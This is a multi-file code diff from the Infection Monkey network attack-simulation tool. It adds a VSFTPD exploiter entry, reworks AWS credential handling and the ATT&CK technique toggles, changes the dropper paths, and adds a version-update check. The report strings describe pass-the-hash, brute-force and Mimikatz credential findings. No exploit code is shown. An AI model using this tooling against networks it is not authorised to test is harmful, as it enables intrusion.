recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']), issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -296,7 +286,7 @@ class AWSExporter(Exporter):
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -308,9 +298,9 @@ class AWSExporter(Exporter):
severity=1, severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -322,9 +312,9 @@ class AWSExporter(Exporter):
severity=1, severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -337,7 +327,7 @@ class AWSExporter(Exporter):
title="Multiple users have the same password.", title="Multiple users have the same password.",
description="Some domain users are sharing passwords, this should be fixed by changing passwords.", description="Some domain users are sharing passwords, this should be fixed by changing passwords.",
recommendation="These users are sharing access password: {shared_with}.".format( recommendation="These users are sharing access password: {shared_with}.".format(
shared_with=issue['shared_with']), shared_with=issue['shared_with']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -350,7 +340,7 @@ class AWSExporter(Exporter):
title="Shared local administrator account - Different machines have the same account as a local administrator.", title="Shared local administrator account - Different machines have the same account as a local administrator.",
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
username=issue['username'], shared_machines=issue['shared_machines']), username=issue['username'], shared_machines=issue['shared_machines']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -363,7 +353,7 @@ class AWSExporter(Exporter):
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
description="This critical machine is open to attacks via strong users with access to it.", description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users']), services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -377,7 +367,7 @@ class AWSExporter(Exporter):
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
machine=issue['machine'], ip_address=issue['ip_address']), machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -392,7 +382,7 @@ class AWSExporter(Exporter):
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
machine=issue['machine'], ip_address=issue['ip_address']), machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )

View File

@ -1,4 +1,6 @@
import json import json
from botocore.exceptions import NoCredentialsError, ClientError
from flask import request, jsonify, make_response from flask import request, jsonify, make_response
import flask_restful import flask_restful
@ -6,6 +8,11 @@ from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from common.cloud.aws_service import AwsService from common.cloud.aws_service import AwsService
CLIENT_ERROR_FORMAT = "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " \
"instance doesn't permit SSM calls. "
NO_CREDS_ERROR_FORMAT = "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " \
"instance. "
class RemoteRun(flask_restful.Resource): class RemoteRun(flask_restful.Resource):
def __init__(self): def __init__(self):
@ -24,10 +31,14 @@ class RemoteRun(flask_restful.Resource):
is_aws = RemoteRunAwsService.is_running_on_aws() is_aws = RemoteRunAwsService.is_running_on_aws()
resp = {'is_aws': is_aws} resp = {'is_aws': is_aws}
if is_aws: if is_aws:
is_auth = RemoteRunAwsService.update_aws_auth_params() try:
resp['auth'] = is_auth
if is_auth:
resp['instances'] = AwsService.get_instances() resp['instances'] = AwsService.get_instances()
except NoCredentialsError as e:
resp['error'] = NO_CREDS_ERROR_FORMAT.format(e.message)
return jsonify(resp)
except ClientError as e:
resp['error'] = CLIENT_ERROR_FORMAT.format(e.message)
return jsonify(resp)
return jsonify(resp) return jsonify(resp)
return {} return {}
@ -37,11 +48,9 @@ class RemoteRun(flask_restful.Resource):
body = json.loads(request.data) body = json.loads(request.data)
resp = {} resp = {}
if body.get('type') == 'aws': if body.get('type') == 'aws':
is_auth = RemoteRunAwsService.update_aws_auth_params() RemoteRunAwsService.update_aws_region_authless()
resp['auth'] = is_auth result = self.run_aws_monkeys(body)
if is_auth: resp['result'] = result
result = self.run_aws_monkeys(body)
resp['result'] = result
return jsonify(resp) return jsonify(resp)
# default action # default action

View File

@ -54,7 +54,7 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod @staticmethod
def get_state_telem_brief(telem): def get_state_telem_brief(telem):
if telem['data']['done']: if telem['data']['done']:
return '''Monkey finishing it's execution.''' return '''Monkey finishing its execution.'''
else: else:
return 'Monkey started.' return 'Monkey started.'

View File

@ -0,0 +1,24 @@
import flask_restful
import logging
from monkey_island.cc.environment.environment import env
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.version_update import VersionUpdateService
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class VersionUpdate(flask_restful.Resource):
def __init__(self):
super(VersionUpdate, self).__init__()
# We don't secure this since it doesn't give out any private info and we want UI to know version
# even when not authenticated
def get(self):
return {
'current_version': env.get_version(),
'newer_version': VersionUpdateService.get_newer_version(),
'download_link': VersionUpdateService.get_download_link()
}

View File

@ -1,3 +1,4 @@
{ {
"server_config": "standard" "server_config": "standard",
"deployment": "develop"
} }

View File

@ -69,15 +69,11 @@ class AttackConfig(object):
for key, definition in monkey_schema['definitions'].items(): for key, definition in monkey_schema['definitions'].items():
for array_field in definition['anyOf']: for array_field in definition['anyOf']:
# Check if current array field has attack_techniques assigned to it # Check if current array field has attack_techniques assigned to it
if 'attack_techniques' not in array_field: if 'attack_techniques' in array_field and array_field['attack_techniques']:
continue should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
try: attack_techniques)
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], attack_techniques) # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
except KeyError: AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
# Monkey schema field contains not yet implemented technique
continue
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
@staticmethod @staticmethod
def set_booleans(attack_techniques, monkey_config, monkey_schema): def set_booleans(attack_techniques, monkey_config, monkey_schema):
@ -103,15 +99,12 @@ class AttackConfig(object):
if isinstance(value, dict): if isinstance(value, dict):
dictionary = {} dictionary = {}
# If 'value' is a boolean value that should be set: # If 'value' is a boolean value that should be set:
if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value: if 'type' in value and value['type'] == 'boolean' \
try: and 'attack_techniques' in value and value['attack_techniques']:
AttackConfig.set_bool_conf_val(path, AttackConfig.set_bool_conf_val(path,
AttackConfig.should_enable_field(value['attack_techniques'], AttackConfig.should_enable_field(value['attack_techniques'],
attack_techniques), attack_techniques),
monkey_config) monkey_config)
except KeyError:
# Monkey schema has a technique that is not yet implemented
pass
# If 'value' is dict, we go over each of it's fields to search for booleans # If 'value' is dict, we go over each of it's fields to search for booleans
elif 'properties' in value: elif 'properties' in value:
dictionary = value['properties'] dictionary = value['properties']
@ -120,8 +113,8 @@ class AttackConfig(object):
for key, item in dictionary.items(): for key, item in dictionary.items():
path.append(key) path.append(key)
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config) AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
# Method enumerated everything in current path, goes back a level. # Method enumerated everything in current path, goes back a level.
del path[-1] del path[-1]
@staticmethod @staticmethod
def set_bool_conf_val(path, val, monkey_config): def set_bool_conf_val(path, val, monkey_config):
@ -141,12 +134,12 @@ class AttackConfig(object):
:param users_techniques: ATT&CK techniques that user chose :param users_techniques: ATT&CK techniques that user chose
:return: True, if user enabled all techniques used by the field, false otherwise :return: True, if user enabled all techniques used by the field, false otherwise
""" """
# Method can't decide field value because it has no attack techniques assign to it.
if not field_techniques:
raise KeyError
for technique in field_techniques: for technique in field_techniques:
if not users_techniques[technique]: try:
return False if not users_techniques[technique]:
return False
except KeyError:
logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
return True return True
@staticmethod @staticmethod

View File

@ -53,7 +53,8 @@ SCHEMA = {
"value": True, "value": True,
"necessary": False, "necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts " "description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained." "when passwords are unknown or when password hashes are obtained.",
"depends_on": ["T1210"]
}, },
"T1003": { "T1003": {
"title": "T1003 Credential dumping", "title": "T1003 Credential dumping",

View File

@ -26,14 +26,6 @@ ENCRYPTED_CONFIG_ARRAYS = \
['internal', 'exploits', 'exploit_ssh_keys'] ['internal', 'exploits', 'exploit_ssh_keys']
] ]
# This should be used for config values of string type
ENCRYPTED_CONFIG_STRINGS = \
[
['cnc', 'aws_config', 'aws_access_key_id'],
['cnc', 'aws_config', 'aws_account_id'],
['cnc', 'aws_config', 'aws_secret_access_key']
]
class ConfigService: class ConfigService:
default_config = None default_config = None
@ -76,8 +68,6 @@ class ConfigService:
if should_decrypt: if should_decrypt:
if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS:
config = [encryptor.dec(x) for x in config] config = [encryptor.dec(x) for x in config]
elif config_key_as_arr in ENCRYPTED_CONFIG_STRINGS:
config = encryptor.dec(config)
return config return config
@staticmethod @staticmethod
@ -243,11 +233,8 @@ class ConfigService:
""" """
Same as decrypt_config but for a flat configuration Same as decrypt_config but for a flat configuration
""" """
if is_island: keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
keys = [config_arr_as_array[2] for config_arr_as_array in
(ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
else:
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys: for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
# Check if we are decrypting ssh key pair # Check if we are decrypting ssh key pair
@ -261,7 +248,7 @@ class ConfigService:
@staticmethod @staticmethod
def _encrypt_or_decrypt_config(config, is_decrypt=False): def _encrypt_or_decrypt_config(config, is_decrypt=False):
for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS): for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
config_arr = config config_arr = config
parent_config_arr = None parent_config_arr = None

View File

@ -22,7 +22,7 @@ SCHEMA = {
"WmiExploiter" "WmiExploiter"
], ],
"title": "WMI Exploiter", "title": "WMI Exploiter",
"attack_techniques": ["T1110", "T1210"] "attack_techniques": ["T1110"]
}, },
{ {
"type": "string", "type": "string",
@ -30,7 +30,7 @@ SCHEMA = {
"MSSQLExploiter" "MSSQLExploiter"
], ],
"title": "MSSQL Exploiter", "title": "MSSQL Exploiter",
"attack_techniques": ["T1110", "T1210"] "attack_techniques": ["T1110"]
}, },
{ {
"type": "string", "type": "string",
@ -97,6 +97,13 @@ SCHEMA = {
"HadoopExploiter" "HadoopExploiter"
], ],
"title": "Hadoop/Yarn Exploiter" "title": "Hadoop/Yarn Exploiter"
},
{
"type": "string",
"enum": [
"VSFTPDExploiter"
],
"title": "VSFTPD Exploiter"
} }
] ]
}, },
@ -275,8 +282,9 @@ SCHEMA = {
"default": [ "default": [
], ],
"description": "description":
"List of IPs/subnets the monkey should scan." "List of IPs/subnets/hosts the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\","
" \"printer.example\""
} }
} }
}, },
@ -584,14 +592,14 @@ SCHEMA = {
"dropper_target_path_win_32": { "dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)", "title": "Dropper target path on Windows (32bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey32.exe", "default": "C:\\Windows\\temp\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine " "description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)" "(32bit)"
}, },
"dropper_target_path_win_64": { "dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)", "title": "Dropper target path on Windows (64bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey64.exe", "default": "C:\\Windows\\temp\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine " "description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)" "(64 bit)"
}, },
@ -722,31 +730,6 @@ SCHEMA = {
} }
} }
}, },
'aws_config': {
'title': 'AWS Configuration',
'type': 'object',
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
'properties': {
'aws_account_id': {
'title': 'AWS account ID',
'type': 'string',
'description': 'Your AWS account ID that is subscribed to security hub feeds',
'default': ''
},
'aws_access_key_id': {
'title': 'AWS access key ID',
'type': 'string',
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
'default': ''
},
'aws_secret_access_key': {
'title': 'AWS secret access key',
'type': 'string',
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
'default': ''
}
}
}
} }
}, },
"exploits": { "exploits": {
@ -773,7 +756,8 @@ SCHEMA = {
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter" "HadoopExploiter",
"VSFTPDExploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN

View File

@ -46,22 +46,12 @@ class RemoteRunAwsService:
return RemoteRunAwsService.aws_instance.is_aws_instance() return RemoteRunAwsService.aws_instance.is_aws_instance()
@staticmethod @staticmethod
def update_aws_auth_params(): def update_aws_region_authless():
""" """
Updates the AWS authentication parameters according to config Updates the AWS region without auth params (via IAM role)
:return: True if new params allow successful authentication. False otherwise
""" """
access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True)
secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True)
if (access_key_id != AwsService.access_key_id) or (secret_access_key != AwsService.secret_access_key):
AwsService.set_auth_params(access_key_id, secret_access_key)
RemoteRunAwsService.is_auth = AwsService.test_client()
AwsService.set_region(RemoteRunAwsService.aws_instance.region) AwsService.set_region(RemoteRunAwsService.aws_instance.region)
return RemoteRunAwsService.is_auth
@staticmethod @staticmethod
def get_bitness(instances): def get_bitness(instances):
""" """

View File

@ -41,7 +41,8 @@ class ReportService:
'Struts2Exploiter': 'Struts2 Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter' 'MSSQLExploiter': 'MSSQL Exploiter',
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -57,7 +58,8 @@ class ReportService:
WEBLOGIC = 9 WEBLOGIC = 9
HADOOP = 10 HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11, PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12 MSSQL = 12,
VSFTPD = 13
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -254,6 +256,7 @@ class ReportService:
else: else:
processed_exploit['type'] = 'hash' processed_exploit['type'] = 'hash'
return processed_exploit return processed_exploit
return processed_exploit
@staticmethod @staticmethod
def process_smb_exploit(exploit): def process_smb_exploit(exploit):
@ -289,6 +292,12 @@ class ReportService:
processed_exploit['type'] = 'rdp' processed_exploit['type'] = 'rdp'
return processed_exploit return processed_exploit
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'vsftp'
return processed_exploit
@staticmethod @staticmethod
def process_sambacry_exploit(exploit): def process_sambacry_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit) processed_exploit = ReportService.process_general_creds_exploit(exploit)
@ -355,7 +364,8 @@ class ReportService:
'Struts2Exploiter': ReportService.process_struts2_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit 'MSSQLExploiter': ReportService.process_mssql_exploit,
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -644,6 +654,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
elif issue['type'] == 'sambacry': elif issue['type'] == 'sambacry':
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
elif issue['type'] == 'vsftp':
issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
elif issue['type'] == 'shellshock': elif issue['type'] == 'shellshock':
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker': elif issue['type'] == 'conficker':

View File

@ -0,0 +1,57 @@
import logging
import requests
from monkey_island.cc.environment.environment import env
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class VersionUpdateService:
VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com'
VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s'
VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true'
newer_version = None
def __init__(self):
pass
@staticmethod
def get_newer_version():
"""
Checks for newer version if never checked before.
:return: None if failed checking for newer version, result of '_check_new_version' otherwise
"""
if VersionUpdateService.newer_version is None:
try:
VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
except Exception:
logger.exception('Failed updating version number')
return VersionUpdateService.newer_version
@staticmethod
def _check_new_version():
"""
Checks if newer monkey version is available
:return: False if not, version in string format ('1.6.2') otherwise
"""
url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), env.get_version())
reply = requests.get(url, timeout=15)
res = reply.json().get('newer_version', None)
if res is False:
return res
[int(x) for x in res.split('.')] # raises value error if version is invalid format
return res
@staticmethod
def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())

View File

@ -1,4 +1,4 @@
{ {
"presets": ["es2015", "stage-0", "react"] "presets": ["es2015", "stage-0", "react"],
"plugins": ["emotion"]
} }

File diff suppressed because it is too large Load Diff

View File

@ -65,8 +65,8 @@
}, },
"dependencies": { "dependencies": {
"@kunukn/react-collapse": "^1.0.5", "@kunukn/react-collapse": "^1.0.5",
"bootstrap": "^3.3.7",
"classnames": "^2.2.6", "classnames": "^2.2.6",
"bootstrap": "3.4.1",
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
@ -98,6 +98,8 @@
"react-tooltip-lite": "^1.9.1", "react-tooltip-lite": "^1.9.1",
"redux": "^4.0.0", "redux": "^4.0.0",
"sass-loader": "^7.1.0", "sass-loader": "^7.1.0",
"sha3": "^2.0.0" "sha3": "^2.0.0",
"react-spinners": "^0.5.4",
"@emotion/core": "^10.0.10"
} }
} }

View File

@ -20,6 +20,7 @@ import 'react-data-components/css/table-twbs.css';
import 'styles/App.css'; import 'styles/App.css';
import 'react-toggle/style.css'; import 'react-toggle/style.css';
import 'react-table/react-table.css'; import 'react-table/react-table.css';
import VersionComponent from "./side-menu/VersionComponent";
let logoImage = require('../images/monkey-icon.svg'); let logoImage = require('../images/monkey-icon.svg');
let infectionMonkeyImage = require('../images/infection-monkey.svg'); let infectionMonkeyImage = require('../images/infection-monkey.svg');
@ -85,7 +86,7 @@ class AppComponent extends AuthComponent {
infection_done: false, infection_done: false,
report_done: false, report_done: false,
isLoggedIn: undefined isLoggedIn: undefined
} },
}; };
} }
@ -175,6 +176,7 @@ class AppComponent extends AuthComponent {
<div className="license-link text-center"> <div className="license-link text-center">
<NavLink to="/license">License</NavLink> <NavLink to="/license">License</NavLink>
</div> </div>
<VersionComponent/>
</Col> </Col>
<Col sm={9} md={10} smOffset={3} mdOffset={2} className="main"> <Col sm={9} md={10} smOffset={3} mdOffset={2} className="main">
<Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/> <Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/>

View File

@ -75,19 +75,6 @@ class MatrixComponent extends AuthComponent {
} }
}; };
resetConfig = () => {
this.authFetch('/api/attack',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify('reset_attack_matrix')
})
.then(res => res.json())
.then(res => {
this.updateStateFromConfig(res.configuration, 'reset')
});
};
getTableData = (config) => { getTableData = (config) => {
let configCopy = JSON.parse(JSON.stringify(config)); let configCopy = JSON.parse(JSON.stringify(config));
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy)); let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));

View File

@ -75,10 +75,12 @@ class ConfigurePageComponent extends AuthComponent {
} }
setInitialConfig(config) { setInitialConfig(config) {
// Sets a reference to know if config was changed
this.initialConfig = JSON.parse(JSON.stringify(config)); this.initialConfig = JSON.parse(JSON.stringify(config));
} }
setInitialAttackConfig(attackConfig) { setInitialAttackConfig(attackConfig) {
// Sets a reference to know if attack config was changed
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig)); this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
} }
@ -138,9 +140,9 @@ class ConfigurePageComponent extends AuthComponent {
} }
return res; return res;
}) })
.then(() => {this.setInitialAttackConfig(this.state.attackConfig); .then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
this.setState({lastAction: 'saved'})})
.then(this.updateConfig()) .then(this.updateConfig())
.then(this.setState({lastAction: 'saved'}))
.catch(error => { .catch(error => {
this.setState({lastAction: 'invalid_configuration'}); this.setState({lastAction: 'invalid_configuration'});
}); });
@ -149,19 +151,7 @@ class ConfigurePageComponent extends AuthComponent {
configSubmit = () => { configSubmit = () => {
// Submit monkey configuration // Submit monkey configuration
this.updateConfigSection(); this.updateConfigSection();
this.authFetch(CONFIG_URL, this.sendConfig()
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
})
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
this.setState({ this.setState({
@ -175,7 +165,6 @@ class ConfigurePageComponent extends AuthComponent {
console.log('bad configuration'); console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'}); this.setState({lastAction: 'invalid_configuration'});
}); });
}; };
// Alters attack configuration when user toggles technique // Alters attack configuration when user toggles technique
@ -187,13 +176,19 @@ class ConfigurePageComponent extends AuthComponent {
let tempMatrix = this.state.attackConfig; let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value; tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix}); this.setState({attackConfig: tempMatrix});
// Toggle all mapped techniques
if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('depends_on')){
tempMatrix[techType[0]].properties[technique].depends_on.forEach(mappedTechnique => {
this.attackTechniqueChange(mappedTechnique, value, true)
})
}
// Toggle all mapped techniques
if (! mapped ){
// Loop trough each column and each row
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
this.attackTechniqueChange(otherTech[0], value, true)
}
})
});
}
} }
}); });
}; };
@ -245,12 +240,12 @@ class ConfigurePageComponent extends AuthComponent {
} }
setSelectedSection = (key) => { setSelectedSection = (key) => {
this.updateConfigSection();
if ((key === 'attack' && this.userChangedConfig()) || if ((key === 'attack' && this.userChangedConfig()) ||
